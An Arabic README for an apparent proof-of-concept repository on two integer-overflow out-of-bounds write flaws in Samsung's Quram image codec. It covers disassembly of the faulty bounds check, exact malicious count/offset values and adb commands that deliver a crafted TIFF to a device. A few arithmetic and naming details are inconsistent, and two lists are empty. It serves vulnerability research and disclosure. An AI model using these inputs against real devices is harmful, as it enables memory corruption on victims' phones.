
ينشئ ملفات TIFF/DNG مصمّمة بعناية لاستغلال ثغرات الكتابة خارج النطاق في مكتبة libimagecodec.quram.so الخاصة بشركة Samsung، بما في ذلك تحليل الثنائيات وخطوات إعادة الإنتاج.
يحتوي هذا المستودع على ملفات إثبات مفهوم (PoC) توضح ثغرات الكتابة خارج الحدود (OOB) في مكتبة ترميز الصور Quramsoft (libimagecodec.quram.so) المستخدمة على أجهزة Samsung التي تعمل بنظام Android.
| CVE | الصيغة | النوع | الخطورة | CVSS 4.0 | تم التصحيح في |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | كتابة خارج الحدود (CWE-787) | حرجة | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | كتابة خارج الحدود (CWE-787) | عالية | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soتكمن الثغرة في دالة تحليل وسوم IFD (دليل ملف الصورة) المسماة WINKJ_ReadExifField (الإزاحة 0x13a0a8 في النسخة 64-بت). تعالج هذه الدالة إدخالات IFD الفردية في ملفات TIFF/EXIF، حيث يكون كل إدخال بنية بطول 12 بايت:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
عندما يكون count * element_size > 4، يُتعامل مع حقل القيمة (Value) ذي الـ 4 بايت على أنه إزاحة ملف (تشير إلى موقع البيانات الفعلية). بعد ذلك يقوم الكود بإجراء فحص للحدود على العنوان 0x13a258:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
الثغرة عبارة عن فيضان عدد صحيح غير موقع 32-بت في عملية الجمع. إذا قام المهاجم ببناء value_offset و count * element_size بحيث يلتف مجموعهما إلى قيمة صغيرة، يمر الفحص على الرغم من أن الوصول الفعلي للذاكرة عند base + value_offset يخرج عن الحدود.
مثال (نوع UNDEFINED، element_size = 1):
الجمع 32-بت 0x17FFF + 0xFFFF0001 = 0x10008000 يُقتطع إلى 0x8000، وهو ما يساوي buffer_size. يمر الفحص، لكن مؤشر البيانات الفعلي (base + 0x17FFF) يقع بعد نهاية المخزن المؤقت المُخصص بمقدار 0x7FFF بايت.
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| الملف | الوصف |
|---|---|
cve-2026-21045_tiff_oob_poc.py | يقوم بإنشاء poc_crash.tif — ملف TIFF تالف يُحدث كتابة خارج الحدود عبر وسم ASCII مع count/offset معدّين |
cve-2026-21048_dng_oob_poc.py | يقوم بإنشاء poc_crash.dng — ملف DNG تالف يُحدث كتابة خارج الحدود عبر وسم UNDEFINED مع count/offset معدّين |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
على جهاز غير مصحَّح (تصحيح الأمان قبل يوليو 2026)، يجب أن يؤدي فتح ملف TIFF/DNG المُعدّ في معرض Samsung (أو أي تطبيق يستخدم مفكك ترميز Quram) إلى تلف في ذاكرة الكومة (heap) قد يؤدي إلى:
على جهاز مصحَّح (SMR Jul-2026 أو أحدث)، يجب رفض الصورة باعتبارها غير صالحة أو معالجتها بأمان. قد يشير التعطل على جهاز مصحَّح بالكامل إلى وجود مشكلة منفصلة غير مصحَّحة.
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
مستخرج من WINKJ_ReadExifField:
جميع الأنواع ذات element_size = 1 (BYTE و ASCII و UNDEFINED) تشترك في نفس المُعالِج وتكون معرضة بنفس القدر لثغرة تجاوز الفيضان الصحيح.
تم توفير إثباتات المفهوم هذه لأغراض تعليمية وبحثية في مجال الأمن فقط. وهي توضح آلية الثغرة لمساعدة المستخدمين والمطورين على فهم المخاطر. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
| الحقل | القيمة (سداسي عشري) | العشري |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (فيضان!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
نتيجة التحقق: 0x8000 <= 0x8000 | ✅ نجاح | — |
الوصول الفعلي للذاكرة: base + 0x17FFF | 0x7FFF بايت خارج المخزن المؤقت | ❌ OOB |
| الدالة | العنوان (64-بت) | الحجم | الغرض |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | تحليل إدخال IFD فردي (قابل للاستغلال) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | يقرأ جميع إدخالات IFD |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | محلل معلومات TIFF رفيع المستوى |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | نقطة الدخول الرئيسية لتحليل TIFF |
decodeTIFF | 0x1a2adc | 580 | يفكك صورة TIFF عبر libtiff |
getTIFFImageInfo | 0x1a2d20 | 508 | يحصل على بيانات تعريف صورة TIFF |
copySubImageBuffer | 0x0b2824 | 324 | ينسخ منطقة صورة فرعية |
TIFFReadDirectory | 0x1aac78 | 5896 | قارئ دليل libtiff 4.6.0 |
_TIFFMultiply32 | 0x1a2f1c | 56 | فحص ضرب آمن 32-بت |
_TIFFMultiply64 | 0x1a2f58 | 48 | فحص ضرب آمن 64-بت |
| النوع | الاسم | حجم العنصر | عنوان المُعالِج |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | الوصف | الحالة |
|---|
| CVE-2025-58477 | كتابة خارج الحدود في تحليل وسوم IFD في libimagecodec.quram.so (SMR Dec-2025) | ✅ مصحَّحة |
| CVE-2026-20973 | قراءة خارج الحدود في libimagecodec.quram.so (SMR Jan-2026) | ✅ مصحَّحة |
| CVE-2026-21045 | كتابة خارج الحدود في تحليل TIFF في libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ غير مصحَّحة لديّ |
| CVE-2026-21048 | كتابة خارج الحدود في تحليل DNG في libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ غير مصحَّحة لديّ |
| CVE-2026-4775 | فيضان عدد صحيح بإشارة في libtiff 4.6.0 putcontig8bitYCbCr44tile | ⚠️ غير مصحَّحة لديّ |
| CVE-2024-7006 | إلغاء مرجعية NULL في libtiff tif_dirinfo.c | ✅ تم إصلاحها في 4.6.1 |